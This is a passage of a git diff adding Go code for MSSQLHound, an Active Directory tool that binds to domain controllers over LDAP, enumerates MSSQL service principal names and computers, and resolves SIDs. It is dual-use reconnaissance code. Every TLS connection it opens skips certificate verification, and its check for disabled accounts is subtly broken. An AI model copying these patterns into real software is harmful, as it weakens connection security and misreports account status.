h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/go/internal/ad/client.go b/go/internal/ad/client.go new file mode 100644 index 0000000..347ed5c --- /dev/null +++ b/go/internal/ad/client.go @@ -0,0 +1,1064 @@ +// Package ad provides Active Directory integration for SPN enumeration and SID resolution. +package ad + +import ( + "context" + "crypto/tls" + "fmt" + "net" + "strings" + "time" + + "github.com/go-ldap/ldap/v3" + + "github.com/SpecterOps/MSSQLHound/internal/types" +) + +// Client handles Active Directory operations via LDAP +type Client struct { + conn *ldap.Conn + domain string + domainController string + baseDN string + skipPrivateCheck bool + ldapUser string + ldapPassword string + dnsResolver string // Custom DNS resolver IP + resolver *net.Resolver + proxyDialer interface { + DialContext(ctx context.Context, network, address string) (net.Conn, error) + } + + // Caches + sidCache map[string]*types.DomainPrincipal + domainCache map[string]bool +} + +// NewClient creates a new AD client +func NewClient(domain, domainController string, skipPrivateCheck bool, ldapUser, ldapPassword, dnsResolver string) *Client { + client := &Client{ + domain: domain, + domainController: domainController, + skipPrivateCheck: skipPrivateCheck, + ldapUser: ldapUser, + ldapPassword: ldapPassword, + dnsResolver: dnsResolver, + sidCache: make(map[string]*types.DomainPrincipal), + domainCache: make(map[string]bool), + } + + // Create custom resolver if DNS resolver is specified + if dnsResolver != "" { + client.resolver = &net.Resolver{ + PreferGo: true, + Dial: func(ctx context.Context, network, address string) (net.Conn, error) { + d := net.Dialer{ + Timeout: time.Millisecond * time.Duration(10000), + } + return d.DialContext(ctx, network, net.JoinHostPort(dnsResolver, "53")) + }, + } + } else { + // Use default resolver + client.resolver = net.DefaultResolver + } + + return client +} + +// Connect establishes a connection to the domain controller +func (c *Client) Connect() error { + dc := c.domainController + if dc == "" { + // Try to resolve domain controller + var err error + dc, err = c.resolveDomainController() + if err != nil { + return fmt.Errorf("failed to resolve domain controller: %w", err) + } + } + + // Build server name for TLS (used throughout) + serverName := dc + if !strings.Contains(serverName, ".") && c.domain != "" { + serverName = fmt.Sprintf("%s.%s", dc, c.domain) + } + + // If explicit credentials provided, try multiple auth methods with TLS + if c.ldapUser != "" && c.ldapPassword != "" { + return c.connectWithExplicitCredentials(dc, serverName) + } + + // No explicit credentials - try GSSAPI with current user context + return c.connectWithCurrentUser(dc, serverName) +} + +// connectWithExplicitCredentials tries multiple authentication methods with explicit credentials +func (c *Client) connectWithExplicitCredentials(dc, serverName string) error { + var errors []string + + // Try LDAPS first (port 636) - most secure + conn, err := c.dialLDAP("ldaps", dc, "636", &tls.Config{ + ServerName: serverName, + InsecureSkipVerify: true, + }) + if err == nil { + conn.SetTimeout(30 * time.Second) + + // Try NTLM first (most reliable with explicit creds) + if bindErr := c.ntlmBind(conn); bindErr == nil { + c.conn = conn + c.baseDN = domainToDN(c.domain) + return nil + } else { + errors = append(errors, fmt.Sprintf("LDAPS:636 NTLM: %v", bindErr)) + if isLDAPAuthError(bindErr) { + conn.Close() + return fmt.Errorf("LDAP authentication failed (invalid credentials): %s", strings.Join(errors, "; ")) + } + } + + // Try Simple Bind (works well over TLS) + if bindErr := c.simpleBind(conn); bindErr == nil { + c.conn = conn + c.baseDN = domainToDN(c.domain) + return nil + } else { + errors = append(errors, fmt.Sprintf("LDAPS:636 SimpleBind: %v", bindErr)) + if isLDAPAuthError(bindErr) { + conn.Close() + return fmt.Errorf("LDAP authentication failed (invalid credentials): %s", strings.Join(errors, "; ")) + } + } + + // Try GSSAPI + if bindErr := c.gssapiBind(conn, dc); bindErr == nil { + c.conn = conn + c.baseDN = domainToDN(c.domain) + return nil + } else { + errors = append(errors, fmt.Sprintf("LDAPS:636 GSSAPI: %v", bindErr)) + } + conn.Close() + } else { + errors = append(errors, fmt.Sprintf("LDAPS:636 connect: %v", err)) + } + + // Try StartTLS on port 389 + conn, err = c.dialLDAP("ldap", dc, "389", nil) + if err == nil { + conn.SetTimeout(30 * time.Second) + tlsErr := c.startTLS(conn, dc) + if tlsErr == nil { + // Try NTLM + if bindErr := c.ntlmBind(conn); bindErr == nil { + c.conn = conn + c.baseDN = domainToDN(c.domain) + return nil + } else { + errors = append(errors, fmt.Sprintf("LDAP:389+StartTLS NTLM: %v", bindErr)) + if isLDAPAuthError(bindErr) { + conn.Close() + return fmt.Errorf("LDAP authentication failed (invalid credentials): %s", strings.Join(errors, "; ")) + } + } + + // Try Simple Bind + if bindErr := c.simpleBind(conn); bindErr == nil { + c.conn = conn + c.baseDN = domainToDN(c.domain) + return nil + } else { + errors = append(errors, fmt.Sprintf("LDAP:389+StartTLS SimpleBind: %v", bindErr)) + if isLDAPAuthError(bindErr) { + conn.Close() + return fmt.Errorf("LDAP authentication failed (invalid credentials): %s", strings.Join(errors, "; ")) + } + } + + // Try GSSAPI + if bindErr := c.gssapiBind(conn, dc); bindErr == nil { + c.conn = conn + c.baseDN = domainToDN(c.domain) + return nil + } else { + errors = append(errors, fmt.Sprintf("LDAP:389+StartTLS GSSAPI: %v", bindErr)) + } + } else { + errors = append(errors, fmt.Sprintf("LDAP:389 StartTLS: %v", tlsErr)) + } + conn.Close() + } else { + errors = append(errors, fmt.Sprintf("LDAP:389+StartTLS connect: %v", err)) + } + + // Try plain LDAP with NTLM (has built-in encryption via NTLM sealing) + conn, err = c.dialLDAP("ldap", dc, "389", nil) + if err == nil { + conn.SetTimeout(30 * time.Second) + if bindErr := c.ntlmBind(conn); bindErr == nil { + c.conn = conn + c.baseDN = domainToDN(c.domain) + return nil + } else { + errors = append(errors, fmt.Sprintf("LDAP:389 NTLM: %v", bindErr)) + } + conn.Close() + } else { + errors = append(errors, fmt.Sprintf("LDAP:389 connect: %v", err)) + } + + return fmt.Errorf("all LDAP authentication methods failed with explicit credentials: %s", strings.Join(errors, "; ")) +} + +// connectWithCurrentUser tries GSSAPI authentication with the current user's credentials +func (c *Client) connectWithCurrentUser(dc, serverName string) error { + var errors []string + + // Try LDAPS first (port 636) - most reliable with channel binding + conn, err := c.dialLDAP("ldaps", dc, "636", &tls.Config{ + ServerName: serverName, + InsecureSkipVerify: true, + }) + if err == nil { + conn.SetTimeout(30 * time.Second) + bindErr := c.gssapiBind(conn, dc) + if bindErr == nil { + c.conn = conn + c.baseDN = domainToDN(c.domain) + return nil + } + errors = append(errors, fmt.Sprintf("LDAPS:636 GSSAPI: %v", bindErr)) + conn.Close() + } else { + errors = append(errors, fmt.Sprintf("LDAPS:636 connect: %v", err)) + } + + // Try StartTLS on port 389 + conn, err = c.dialLDAP("ldap", dc, "389", nil) + if err == nil { + conn.SetTimeout(30 * time.Second) + tlsErr := c.startTLS(conn, dc) + if tlsErr == nil { + bindErr2 := c.gssapiBind(conn, dc) + if bindErr2 == nil { + c.conn = conn + c.baseDN = domainToDN(c.domain) + return nil + } + errors = append(errors, fmt.Sprintf("LDAP:389+StartTLS GSSAPI: %v", bindErr2)) + } else { + errors = append(errors, fmt.Sprintf("LDAP:389 StartTLS: %v", tlsErr)) + } + conn.Close() + } else { + errors = append(errors, fmt.Sprintf("LDAP:389+StartTLS connect: %v", err)) + } + + // Try plain LDAP without TLS (may work if DC doesn't require signing) + conn, err = c.dialLDAP("ldap", dc, "389", nil) + if err == nil { + conn.SetTimeout(30 * time.Second) + bindErr3 := c.gssapiBind(conn, dc) + if bindErr3 == nil { + c.conn = conn + c.baseDN = domainToDN(c.domain) + return nil + } + errors = append(errors, fmt.Sprintf("LDAP:389 GSSAPI: %v", bindErr3)) + conn.Close() + } else { + errors = append(errors, fmt.Sprintf("LDAP:389 connect: %v", err)) + } + + // Provide helpful troubleshooting message + errMsg := fmt.Sprintf("all LDAP connection methods failed: %s", strings.Join(errors, "; ")) + + // Check for common issues and provide suggestions + if containsAny(errors, "80090346", "Invalid Credentials") { + errMsg += "\n\nTroubleshooting suggestions for Kerberos authentication failures:" + errMsg += "\n 1. Verify your Kerberos ticket is valid: run 'klist' to check" + errMsg += "\n 2. Check time synchronization with the domain controller" + errMsg += "\n 3. Try using explicit credentials with --ldap-user and --ldap-password" + errMsg += "\n 4. If EPA (Extended Protection) is enabled, explicit credentials may be required" + } + if containsAny(errors, "Strong Auth Required", "integrity checking") { + errMsg += "\n\nNote: The domain controller requires LDAP signing. GSSAPI should provide this," + errMsg += "\n but if it's failing, try using explicit credentials which enables NTLM or Simple Bind." + } + + return fmt.Errorf("%s", errMsg) +} + +// isLDAPAuthError checks if a bind error indicates invalid credentials (LDAP +// Result Code 49). Continuing to try other bind methods with the same bad +// credentials would count toward AD account lockout. +func isLDAPAuthError(err error) bool { + if err == nil { + return false + } + errStr := err.Error() + return strings.Contains(errStr, "Invalid Credentials") || + strings.Contains(errStr, "Result Code 49") +} + +// containsAny checks if any of the error strings contain any of the substrings +func containsAny(errors []string, substrings ...string) bool { + for _, err := range errors { + for _, sub := range substrings { + if strings.Contains(err, sub) { + return true + } + } + } + return false +} + +// ntlmBind performs NTLM authentication +func (c *Client) ntlmBind(conn *ldap.Conn) error { + // Parse domain and username + domain := c.domain + username := c.ldapUser + + if strings.Contains(username, "\\") { + parts := strings.SplitN(username, "\\", 2) + domain = parts[0] + username = parts[1] + } else if strings.Contains(username, "@") { + parts := strings.SplitN(username, "@", 2) + username = parts[0] + domain = parts[1] + } + + return conn.NTLMBind(domain, username, c.ldapPassword) +} + +// simpleBind performs simple LDAP authentication (requires TLS for security) +// This is a fallback when NTLM and GSSAPI fail +func (c *Client) simpleBind(conn *ldap.Conn) error { + // Build the bind DN - try multiple formats + username := c.ldapUser + + // If it's already a DN format, use it directly + if strings.Contains(strings.ToLower(username), "cn=") || strings.Contains(strings.ToLower(username), "dc=") { + return conn.Bind(username, c.ldapPassword) + } + + // Try UPN format (user@domain) first - most compatible + if strings.Contains(username, "@") { + if err := conn.Bind(username, c.ldapPassword); err == nil { + return nil + } + } + + // Try DOMAIN\user format converted to UPN + if strings.Contains(username, "\\") { + parts := strings.SplitN(username, "\\", 2) + upn := fmt.Sprintf("%s@%s", parts[1], parts[0]) + if err := conn.Bind(upn, c.ldapPassword); err == nil { + return nil + } + } + + // Try constructing UPN with the domain + if !strings.Contains(username, "@") && !strings.Contains(username, "\\") { + upn := fmt.Sprintf("%s@%s", username, c.domain) + if err := conn.Bind(upn, c.ldapPassword); err == nil { + return nil + } + } + + // Final attempt with original username + return conn.Bind(username, c.ldapPassword) +} + +func (c *Client) gssapiBind(conn *ldap.Conn, dc string) error { + gssClient, closeFn, err := newGSSAPIClient(c.domain, c.ldapUser, c.ldapPassword) + if err != nil { + return err + } + defer closeFn() + + serviceHost := dc + if !strings.Contains(serviceHost, ".") && c.domain != "" { + serviceHost = fmt.Sprintf("%s.%s", dc, c.domain) + } + + servicePrincipal := fmt.Sprintf("ldap/%s", strings.ToLower(serviceHost)) + if err := conn.GSSAPIBind(gssClient, servicePrincipal, ""); err == nil { + return nil + } else { + // Retry with short hostname SPN if FQDN failed. + shortHost := strings.SplitN(serviceHost, ".", 2)[0] + if shortHost != "" && shortHost != serviceHost { + fallbackSPN := fmt.Sprintf("ldap/%s", strings.ToLower(shortHost)) + if err2 := conn.GSSAPIBind(gssClient, fallbackSPN, ""); err2 == nil { + return nil + } + return fmt.Errorf("GSSAPI bind failed for %s (%v) and %s", servicePrincipal, err, fallbackSPN) + } + return fmt.Errorf("GSSAPI bind failed for %s: %w", servicePrincipal, err) + } +} + +func (c *Client) startTLS(conn *ldap.Conn, dc string) error { + serverName := dc + if !strings.Contains(serverName, ".") && c.domain != "" { + serverName = fmt.Sprintf("%s.%s", dc, c.domain) + } + + return conn.StartTLS(&tls.Config{ + ServerName: serverName, + InsecureSkipVerify: true, + }) +} + +// SetProxyDialer sets a SOCKS5 proxy dialer for all LDAP connections. +// It also rebuilds the DNS resolver to route through the proxy if a custom +// DNS resolver is configured. +func (c *Client) SetProxyDialer(d interface { + DialContext(ctx context.Context, network, address string) (net.Conn, error) +}) { + c.proxyDialer = d + // Rebuild DNS resolver to route through proxy if custom DNS resolver is set + if c.dnsResolver != "" && d != nil { + c.resolver = &net.Resolver{ + PreferGo: true, + Dial: func(ctx context.Context, network, address string) (net.Conn, error) { + // Force TCP: SOCKS5 doesn't support UDP, and DNS works fine over TCP + return d.DialContext(ctx, "tcp", net.JoinHostPort(c.dnsResolver, "53")) + }, + } + } +} + +// dialLDAP establishes an LDAP connection, routing through the proxy if configured. +// For "ldaps" scheme, it performs a TLS handshake after the TCP connection. +func (c *Client) dialLDAP(scheme, host, port string, tlsConfig *tls.Config) (*ldap.Conn, error) { + if c.proxyDialer == nil { + // Use standard DialURL + url := fmt.Sprintf("%s://%s:%s", scheme, host, port) + if tlsConfig != nil { + return ldap.DialURL(url, ldap.DialWithTLSConfig(tlsConfig)) + } + return ldap.DialURL(url) + } + + // Dial through proxy + addr := net.JoinHostPort(host, port) + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + + rawConn, err := c.proxyDialer.DialContext(ctx, "tcp", addr) + if err != nil { + return nil, fmt.Errorf("proxy dial to %s failed: %w", addr, err) + } + + if scheme == "ldaps" { + if tlsConfig == nil { + tlsConfig = &tls.Config{} + } + tlsConn := tls.Client(rawConn, tlsConfig) + if err := tlsConn.HandshakeContext(ctx); err != nil { + rawConn.Close() + return nil, fmt.Errorf("TLS handshake through proxy failed: %w", err) + } + conn := ldap.NewConn(tlsConn, true) + conn.Start() + return conn, nil + } + + // Plain LDAP + conn := ldap.NewConn(rawConn, false) + conn.Start() + return conn, nil +} + +// Close closes the LDAP connection +func (c *Client) Close() error { + if c.conn != nil { + c.conn.Close() + } + return nil +} + +// resolveDomainController attempts to find a domain controller for the domain +func (c *Client) resolveDomainController() (string, error) { + ctx := context.Background() + + // Try SRV record lookup + _, addrs, err := c.resolver.LookupSRV(ctx, "ldap", "tcp", c.domain) + if err == nil && len(addrs) > 0 { + return strings.TrimSuffix(addrs[0].Target, "."), nil + } + + // Fall back to using domain name directly + return c.domain, nil +} + +// EnumerateMSSQLSPNs finds all MSSQL service principal names in the domain +func (c *Client) EnumerateMSSQLSPNs() ([]types.SPN, error) { + if c.conn == nil { + if err := c.Connect(); err != nil { + return nil, err + } + } + + // Search for accounts with MSSQLSvc SPNs + searchRequest := ldap.NewSearchRequest( + c.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, 0, false, + "(servicePrincipalName=MSSQLSvc/*)", + []string{"servicePrincipalName", "sAMAccountName", "objectSid", "distinguishedName"}, + nil, + ) + + // Use paging to handle large result sets + var spns []types.SPN + pagingControl := ldap.NewControlPaging(1000) + searchRequest.Controls = append(searchRequest.Controls, pagingControl) + + for { + result, err := c.conn.Search(searchRequest) + if err != nil { + return nil, fmt.Errorf("LDAP search failed: %w", err) + } + + for _, entry := range result.Entries { + accountName := entry.GetAttributeValue("sAMAccountName") + sidBytes := entry.GetRawAttributeValue("objectSid") + accountSID := decodeSID(sidBytes) + + for _, spn := range entry.GetAttributeValues("servicePrincipalName") { + if !strings.HasPrefix(strings.ToUpper(spn), "MSSQLSVC/") { + continue + } + + parsed := parseSPN(spn) + parsed.AccountName = accountName + parsed.AccountSID = accountSID + + spns = append(spns, parsed) + } + } + + // Check if there are more pages + pagingResult := ldap.FindControl(result.Controls, ldap.ControlTypePaging) + if pagingResult == nil { + break + } + pagingCtrl := pagingResult.(*ldap.ControlPaging) + if len(pagingCtrl.Cookie) == 0 { + break + } + pagingControl.SetCookie(pagingCtrl.Cookie) + } + + return spns, nil +} + +// LookupMSSQLSPNsForHost finds MSSQL SPNs for a specific hostname +func (c *Client) LookupMSSQLSPNsForHost(hostname string) ([]types.SPN, error) { + if c.conn == nil { + if err := c.Connect(); err != nil { + return nil, err + } + } + + // Extract short hostname for matching + shortHost := hostname + if idx := strings.Index(hostname, "."); idx > 0 { + shortHost = hostname[:idx] + } + + // Search for SPNs matching this hostname (MSSQLSvc/hostname or MSSQLSvc/hostname.domain) + // Use a wildcard search to catch both short and FQDN forms + filter := fmt.Sprintf("(|(servicePrincipalName=MSSQLSvc/%s*)(servicePrincipalName=MSSQLSvc/%s*))", shortHost, hostname) + + searchRequest := ldap.NewSearchRequest( + c.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, 0, false, + filter, + []string{"servicePrincipalName", "sAMAccountName", "objectSid", "distinguishedName"}, + nil, + ) + + result, err := c.conn.Search(searchRequest) + if err != nil { + return nil, fmt.Errorf("LDAP search failed: %w", err) + } + + var spns []types.SPN + + for _, entry := range result.Entries { + accountName := entry.GetAttributeValue("sAMAccountName") + sidBytes := entry.GetRawAttributeValue("objectSid") + accountSID := decodeSID(sidBytes) + + for _, spn := range entry.GetAttributeValues("servicePrincipalName") { + if !strings.HasPrefix(strings.ToUpper(spn), "MSSQLSVC/") { + continue + } + + // Verify this SPN matches our target hostname + parsed := parseSPN(spn) + spnHost := strings.ToLower(parsed.Hostname) + targetHost := strings.ToLower(hostname) + targetShort := strings.ToLower(shortHost) + + // Check if the SPN hostname matches our target + if spnHost == targetHost || spnHost == targetShort || + strings.HasPrefix(spnHost, targetShort+".") { + parsed.AccountName = accountName + parsed.AccountSID = accountSID + spns = append(spns, parsed) + } + } + } + + return spns, nil +} + +// EnumerateAllComputers returns all computer objects in the domain +func (c *Client) EnumerateAllComputers() ([]string, error) { + if c.conn == nil { + if err := c.Connect(); err != nil { + return nil, err + } + } + + searchRequest := ldap.NewSearchRequest( + c.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, 0, false, + "(&(objectCategory=computer)(objectClass=computer))", + []string{"dNSHostName", "name"}, + nil, + ) + + // Use paging to handle large result sets (AD default limit is 1000) + var computers []string + pagingControl := ldap.NewControlPaging(1000) + searchRequest.Controls = append(searchRequest.Controls, pagingControl) + + for { + result, err := c.conn.Search(searchRequest) + if err != nil { + return nil, fmt.Errorf("LDAP search failed: %w", err) + } + + for _, entry := range result.Entries { + hostname := entry.GetAttributeValue("dNSHostName") + if hostname == "" { + hostname = entry.GetAttributeValue("name") + } + if hostname != "" { + computers = append(computers, hostname) + } + } + + // Check if there are more pages + pagingResult := ldap.FindControl(result.Controls, ldap.ControlTypePaging) + if pagingResult == nil { + break + } + pagingCtrl := pagingResult.(*ldap.ControlPaging) + if len(pagingCtrl.Cookie) == 0 { + break + } + pagingControl.SetCookie(pagingCtrl.Cookie) + } + + return computers, nil +} + +// ResolveSID resolves a SID to a domain principal +func (c *Client) ResolveSID(sid string) (*types.DomainPrincipal, error) { + // Check cache first + if cached, ok := c.sidCache[sid]; ok { + return cached, nil + } + + if c.conn == nil { + if err := c.Connect(); err != nil { + return nil, err + } + } + + // Convert SID string to binary for LDAP search + sidFilter := fmt.Sprintf("(objectSid=%s)", escapeSIDForLDAP(sid)) + + searchRequest := ldap.NewSearchRequest( + c.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 1, 0, false, + sidFilter, + []string{"sAMAccountName", "distinguishedName", "objectClass", "userAccountControl", "memberOf", "dNSHostName", "userPrincipalName"}, + nil, + ) + + result, err := c.conn.Search(searchRequest) + if err != nil { + return nil, fmt.Errorf("LDAP search failed: %w", err) + } + + if len(result.Entries) == 0 { + return nil, fmt.Errorf("SID not found: %s", sid) + } + + entry := result.Entries[0] + + principal := &types.DomainPrincipal{ + SID: sid, + SAMAccountName: entry.GetAttributeValue("sAMAccountName"), + DistinguishedName: entry.GetAttributeValue("distinguishedName"), + Domain: c.domain, + MemberOf: entry.GetAttributeValues("memberOf"), + } + + // Determine object class + classes := entry.GetAttributeValues("objectClass") + for _, class := range classes { + switch strings.ToLower(class) { + case "user": + principal.ObjectClass = "user" + case "group": + principal.ObjectClass = "group" + case "computer": + principal.ObjectClass = "computer" + } + } + + // Determine if enabled (for users/computers) + uac := entry.GetAttributeValue("userAccountControl") + if uac != "" { + // UAC flag 0x0002 = ACCOUNTDISABLE + principal.Enabled = !strings.Contains(uac, "2") + } + + // Store raw LDAP attributes for AD enrichment on nodes + dnsHostName := entry.GetAttributeValue("dNSHostName") + userPrincipalName := entry.GetAttributeValue("userPrincipalName") + principal.DNSHostName = dnsHostName + principal.UserPrincipalName = userPrincipalName + + // Set the Name based on object class to match PowerShell behavior: + // - For computers: use DNSHostName (FQDN) if available, otherwise SAMAccountName + // - For users: use userPrincipalName if available, otherwise DOMAIN\SAMAccountName + // - For groups: use DOMAIN\SAMAccountName + switch principal.ObjectClass { + case "computer": + if dnsHostName != "" { + principal.Name = dnsHostName + } else { + principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName) + } + case "user": + if userPrincipalName != "" { + principal.Name = userPrincipalName + } else { + principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName) + } + default: + principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName) + } + principal.ObjectIdentifier = sid + + // Cache the result + c.sidCache[sid] = principal + + return principal, nil +} + +// ResolveName resolves a name (DOMAIN\user or user@domain) to a domain principal +func (c *Client) ResolveName(name string) (*types.DomainPrincipal, error) { + if c.conn == nil { + if err := c.Connect(); err != nil { + return nil, err + } + } + + var samAccountName string + + // Parse the name format + if strings.Contains(name, "\\") { + parts := strings.SplitN(name, "\\", 2) + samAccountName = parts[1] + } else if strings.Contains(name, "@") { + parts := strings.SplitN(name, "@", 2) + samAccountName = parts[0] + } else { + samAccountName = name + } + + searchRequest := ldap.NewSearchRequest( + c.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 1, 0, false, + fmt.Sprintf("(sAMAccountName=%s)", ldap.EscapeFilter(samAccountName)), + []string{"sAMAccountName", "distinguishedName", "objectClass", "objectSid", "userAccountControl", "memberOf", "dNSHostName", "userPrincipalName"}, + nil, + ) + + result, err := c.conn.Search(searchRequest) + if err != nil { + return nil, fmt.Errorf("LDAP search failed: %w", err) + } + + if len(result.Entries) == 0 { + return nil, fmt.Errorf("name not found: %s", name) + } + + entry := result.Entries[0] + sidBytes := entry.GetRawAttributeValue("objectSid") + sid := decodeSID(sidBytes) + + principal := &types.DomainPrincipal{ + SID: sid, + SAMAccountName: entry.GetAttributeValue("sAMAccountName"), + DistinguishedName: entry.GetAttributeValue("distinguishedName"), + Domain: c.domain, + MemberOf: entry.GetAttributeValues("memberOf"), + ObjectIdentifier: sid, + } + + // Determine object class + classes := entry.GetAttributeValues("objectClass") + for _, class := range classes { + switch strings.ToLower(class) { + case "user": + principal.ObjectClass = "user" + case "group": + principal.ObjectClass = "group" + case "computer": + principal.ObjectClass = "computer" + } + } + + // Store raw LDAP attributes for AD enrichment on nodes + dnsHostName := entry.GetAttributeValue("dNSHostName") + userPrincipalName := entry.GetAttributeValue("userPrincipalName") + principal.DNSHostName = dnsHostName + principal.UserPrincipalName = userPrincipalName + + // Set the Name based on object class to match PowerShell behavior + switch principal.ObjectClass { + case "computer": + if dnsHostName != "" { + principal.Name = dnsHostName + } else { + principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName) + } + case "user": + if userPrincipalName != "" { + principal.Name = userPrincipalName + } else { + principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName) + } + default: + principal.Name = fmt.Sprintf("%s\\%s", c.domain, principal.SAMAccountName) + } + + // Cache by SID + c.sidCache[sid] = principal + + return principal, nil +} + +// ValidateDomain checks if a domain is reachable and valid +func (c *Client) ValidateDomain(domain string) bool { + // Check cache + if valid, ok := c.domainCache[domain]; ok { + return valid + } + + ctx := context.Background() + + // Try to resolve the domain + addrs, err := c.resolver.LookupHost(ctx, domain) + if err != nil { + c.domainCache[domain] = false + return false + } + + // Check if the IP is private (RFC 1918) unless skipped + if !c.skipPrivateCheck { + for _, addr := range addrs { + ip := net.ParseIP(addr) + if ip != nil && isPrivateIP(ip) { + c.domainCache[domain] = true + return true + } + } + // No private IPs found + c.domainCache[domain] = false + return false + } + + c.domainCache[domain] = len(addrs) > 0 + return len(addrs) > 0 +} + +// ResolveComputerSID resolves a computer name to its SID +// The computer name can be provided with or without the trailing $ +func (c *Client) ResolveComputerSID(computerName string) (string, error) { + if c.conn == nil { + if err := c.Connect(); err != nil { + return "", err + } + } + + // Ensure computer name ends with $ for the sAMAccountName search + samName := computerName + if !strings.HasSuffix(samName, "$") { + samName = samName + "$" + } + + // Check cache + if cached, ok := c.sidCache[samName]; ok { + return cached.SID, nil + } + + searchRequest := ldap.NewSearchRequest( + c.baseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 1, 0, false, + fmt.Sprintf("(&(objectClass=computer)(sAMAccountName=%s))", ldap.EscapeFilter(samName)), + []string{"sAMAccountName", "objectSid"}, + nil, + ) + + result, err := c.conn.Search(searchRequest) + if err != nil { + return "", fmt.Errorf("LDAP search failed: %w", err) + } + + if len(result.Entries) == 0 { + return "", fmt.Errorf("computer not found: %s", computerName) + } + + entry := result.Entries[0] + sidBytes := entry.GetRawAttributeValue("objectSid") + sid := decodeSID(sidBytes) + + if sid == "" { + return "", fmt.Errorf("could not decode SID for computer: %s", computerName) + } + + // Cache the result + c.sidCache[samName] = &types.DomainPrincipal{ + SID: sid, + SAMAccountName: entry.GetAttributeValue("sAMAccountName"), + ObjectClass: "computer", + } + + return sid, nil +} + +// Helper functions + +// domainToDN converts a domain name to an LDAP distinguished name +func domainToDN(domain string) string { + parts := strings.Split(domain, ".") + var dnParts []string + for _, part := range parts { + dnParts = append(dnParts, fmt.Sprintf("DC=%s", part)) + } + return strings.Join(dnParts, ",") +} + +// parseSPN parses an SPN string into its components +func parseSPN(spn string) types.SPN { + result := types.SPN{FullSPN: spn} + + // Format: service/host:port or service/host + parts := strings.SplitN(spn, "/", 2) + if len(parts) < 2 { + return result + } + + result.ServiceClass = parts[0] + hostPart := parts[1] + + // Check for port or instance name + if idx := strings.Index(hostPart, ":"); idx != -1 { + result.Hostname = hostPart[:idx] + portOrInstance := hostPart[idx+1:] + + // If it's a number, it's a port; otherwise instance name + if _, err := fmt.Sscanf(portOrInstance, "%d", new(int)); err == nil { + result.Port = portOrInstance + } else { + result.InstanceName = portOrInstance + } + } else { + result.Hostname = hostPart + } + + return result +} + +// decodeSID converts a binary SID to a string representation +func decodeSID(b []byte) string { + if len(b) < 8 { + return "" + } + + revision := b[0] + subAuthCount := int(b[1]) + + // Build authority (6 bytes, big-endian) + var authority uint64 + for i := 2; i < 8; i++ { + authority = (authority << 8) | uint64(b[i]) + } + + // Build SID string + sid := fmt.Sprintf("S-%d-%d", revision, authority) + + // Add sub-authorities (4 bytes each, little-endian) + for i := 0; i < subAuthCount && 8+i*4+4 <= len(b); i++ { + subAuth := uint32(b[8+i*4]) | + uint32(b[8+i*4+1])<<8 | + uint32(b[8+i*4+2])<<16 | + uint32(b[8+i*4+3])<<24 + sid += fmt.Sprintf("-%d", subAuth) + } + + return sid +} + +// escapeSIDForLDAP escapes a SID string for use in an LDAP filter +// This converts a SID like S-1-5-21-xxx to its binary escaped form +func escapeSIDForLDAP(sid string) string { + // For now, use a simpler approach - search by string + // In production, you'd want to convert the SID to binary and escape it + return ldap.EscapeFilter(sid) +} + +// isPrivateIP checks if an IP address is in a private range (RFC 1918) +func isPrivateIP(ip net.IP) bool { + if ip4 := ip.To4(); ip4 != nil { + // 10.0.0.0/8 + if ip4[0] == 10 { + return true + } + // 172.16.0.0/12 + if ip4[0] == 172 && ip4[1] >= 16 && ip4[1] <= 31 { + return true + } + // 192.168.0.0/16 + if ip4[0] == 192 && ip4[1] == 168 { + return true + } + } + return false +} diff --git a/go/internal/ad/gssapi_nonwindows.go b/go/internal/ad/gssapi_nonwindows.go new file mode 100644 index 0000000..ed5e7b9 --- /dev/null +++ b/go/internal/ad/gssapi_nonwindows.go @@ -0,0 +1,14 @@ +//go:build !windows +// +build !windows + +package ad + +import ( + "fmt" + + "github.com/go-ldap/ldap/v3" +) + +func newGSSAPIClient(domain, user, password string) (ldap.GSSAPIClient, func() error, error) { + return nil, nil, fmt.Errorf("GSSAPI/Kerberos SSPI is only supported on Windows") +} diff --git a/go/internal/ad/gssapi_windows.go b/go/internal/ad/gssapi_windows.go new file mode 100644 index 0000000..3c844c4 --- /dev/null +++ b/go/internal/ad/gssapi_windows.go @@ -0,0 +1,58 @@ +//go:build windows +// +build windows + +package ad + +import ( + "fmt" + "strings" + + "github.com/go-ldap/ldap/v3" + "github.com/go-ldap/ldap/v3/gssapi" +) + +func newGSSAPIClient(domain, user, password string) (ldap.GSSAPIClient, func() error, error) { + if user != "" && password != "" { + // Try multiple credential forms to satisfy SSPI requirements. + if strings.Contains(user, "@") { + parts := strings.SplitN(user, "@", 2) + upnDomain := parts[1] + upnUser := parts[0] + + // First try DOMAIN + username (common for SSPI). + if client, err := gssapi.NewSSPIClientWithUserCredentials(upnDomain, upnUser, password); err == nil { + return client, client.Close, nil + } + + // Fallback: pass full UPN as username with empty domain. + if client, err := gssapi.NewSSPIClientWithUserCredentials("", user, password); err == nil { + return client, client.Close, nil + } + } else { + userDomain, username := splitDomainUser(user, domain) + if client, err := gssapi.NewSSPIClientWithUserCredentials(userDomain, username, password); err == nil { + return client, client.Close, nil + } + } + + return nil, nil, fmt.Errorf("failed to acquire SSPI credentials for provided user") + } + + client, err := gssapi.NewSSPIClient() + if err != nil { + return nil, nil, err + } + return client, client.Close, nil +} + +func splitDomainUser(user, 